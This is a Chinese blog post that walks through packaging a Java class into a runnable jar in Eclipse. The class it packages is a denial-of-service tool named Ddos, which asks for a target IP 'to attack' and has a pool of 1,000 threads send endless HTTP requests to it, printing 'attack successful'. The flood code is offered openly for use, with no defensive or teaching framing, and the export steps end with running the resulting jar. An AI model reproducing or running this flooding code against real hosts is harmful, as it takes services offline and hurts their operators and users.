記錄一次幫助小伙伴將java類打成jar包運行
1、創建java project項目
file > new > project > java project

隨便起一個項目名稱,finish 完成后項目結構如下:

2、植入java類
將准備好的java類,植入項目中,在 src 目錄中,新建包名,例如:club.sscai,然后將文件放入該包下。
package club.sscai;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.Scanner;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
/**
* niceyoo
*/
public class Ddos {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
sc.useDelimiter("/n");
System.out.println("請輸入要攻擊的ip地址:然后敲回車執行");
String ip = sc.nextLine();
if(ip!=null&&ip!=""){
/*利用線程池創建1000個線程*/
ExecutorService es = Executors.newFixedThreadPool(1000);
Mythread mythread = new Mythread(ip);
Thread thread = new Thread(mythread);
for (int i = 0; i < 10000; i++) {
es.execute(thread);
}
}
}
}
class Mythread implements Runnable {
String ip;
public Mythread(String ip) {
this.ip = ip;
}
public void run() {
while (true) {
try {
URL url = new URL("http://"+ip+"/");
URLConnection conn = url.openConnection();
System.out.println("發包成功!");
BufferedInputStream bis = new BufferedInputStream(conn.getInputStream());
byte[] bytes = new byte[1024];
int len = -1;
StringBuffer sb = new StringBuffer();
if (bis != null) {
if ((len = bis.read()) != -1) {
sb.append(new String(bytes, 0, len));
System.out.println("攻擊成功!");
bis.close();
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
項目明上執行右鍵,選擇 Export…

選擇 java 下的 jar file:

指定打包項目,以及打出的jar包輸出路徑,執行 Next 下一步:

選擇運行的主類,然后執行 finish:

運行 java -jar sk.jar:

左上角點個關注唄!